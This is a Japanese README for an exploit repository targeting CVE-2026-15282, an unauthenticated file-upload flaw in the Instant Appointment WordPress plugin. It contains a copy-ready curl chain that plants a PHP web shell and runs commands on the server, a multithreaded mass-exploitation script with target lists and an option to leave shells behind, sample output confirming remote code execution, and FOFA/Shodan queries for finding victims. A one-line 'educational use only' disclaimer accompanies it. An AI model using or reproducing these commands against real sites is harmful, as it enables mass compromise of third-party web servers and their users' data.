概要

CVE-2026-15282 は、Instant Appointment WordPress プラグイン（≤ 1.2）における重大（CVSS 9.8）な未認証の任意ファイルアップロード脆弱性です。

add_service_front AJAX アクションは、未認証アクセス用に wp_ajax_nopriv_ 経由で登録されています。ハンドラーは、ユーザーが指定した image_url と image_name を、ファイルタイプや拡張子の検証を一切行わずに file_get_contents() と file_put_contents() に直接渡します。

影響を受けるバージョン

バージョン	状態
≤ 1.2	脆弱性あり
> 1.2	パッチなし — プラグインを削除してください

脆弱性の仕組み

根本原因

// ajax_services.php
function insapp_upload_image_as_attachment($image_url, $file_name, $product_id) {
    $image_data = file_get_contents($image_url);       // downloads from ANY URL
    $file = $upload_dir['path'] . '/' . $file_name;    // uses attacker's filename
    file_put_contents($file, $image_data);             // no extension check!
}

AJAX ハンドラーは任意の image_url（data:// URI を含む）を受け入れ、任意の image_name で WordPress のアップロードディレクトリに直接書き込みます。

攻撃の流れ

POST /wp-admin/admin-ajax.php?action=add_service_front
  image_url=data://text/plain;base64,PD9waHAgc3lzdGVt...
  image_name=think_xxx.php
→ PHP webshell written to wp-content/uploads/YYYY/MM/think_xxx.php
→ RCE via https://target.com/wp-content/uploads/YYYY/MM/think_xxx.php?c=id

インストール

git clone https://github.com/shinthink/CVE-2026-15282.git
cd CVE-2026-15282
pip install -r requirements.txt

使用方法

python cve_2026_15282.py -t target.com
python cve_2026_15282.py -f targets.txt -o shells.txt
python cve_2026_15282.py -t target.com --debug
python cve_2026_15282.py -t target.com --no-cleanup

引数

  -t, --target      Single target
  -f, --file        Target list
  -o, --output      Save RCE URLs to file
  --threads         Workers (default: 25)
  --no-cleanup      Leave shells on target
  --debug           Show every request
  -v, --verbose     Verbose output

概念実証

単一ターゲット

$ python cve_2026_15282.py -t target.com

  ⠋ Scanning target...  →  OK Scanning target...

  Host       : target.com
  Plugin     : YES
  Upload     : YES
  RCE        : YES
  Shell      : https://target.com/wp-content/uploads/2026/07/think_a1b2c3.php?c=id
  Output     : uid=33(www-data) gid=33(www-data)

一括スキャン

  [.] current-target.com | ⠋ [████░░░░░░░░░░░░░] 45/500 (9%) Plugin:12 UP:3 RCE:1
  [RCE] target.com   https://target.com/wp-content/uploads/2026/07/think_xxx.php

手動での悪用

# 1. Create base64-encoded PHP shell
echo '<?php system($_GET["c"]); ?>' | base64 -w0

# 2. Upload via AJAX
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=add_service_front' \
  -d 'service_name=test' \
  -d 'image_url=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==' \
  -d 'image_name=shell.php' \
  -d 'image_size=100' \
  -d 'image_type=image/jpeg' \
  -d 'service_price_sale=1' \
  -d 'service_price_reg=1' \
  -d 'service_category[]=1' \
  -d 'service_duration=60' \
  -d 'service_author=1'

# 3. Access shell
curl -sk 'https://target.com/wp-content/uploads/2026/07/shell.php?c=id'

FOFA / Shodan

FOFA:   body="wp-content/plugins/instant-appointment"
Shodan: http.html:"instant-appointment"

免責事項

教育目的および許可されたテスト目的のみに使用してください。

参考情報

リソース	リンク
WPScan

_{tenteeglobal や Instant Appointment とは提携関係にありません。}

CVE-2026-15282

人気

CVE-2026-15282 — Instant Appointment 一括 RCE エクスプロイト

事前認証 file_get_contents() + file_put_contents() → PHP ウェブシェル

概要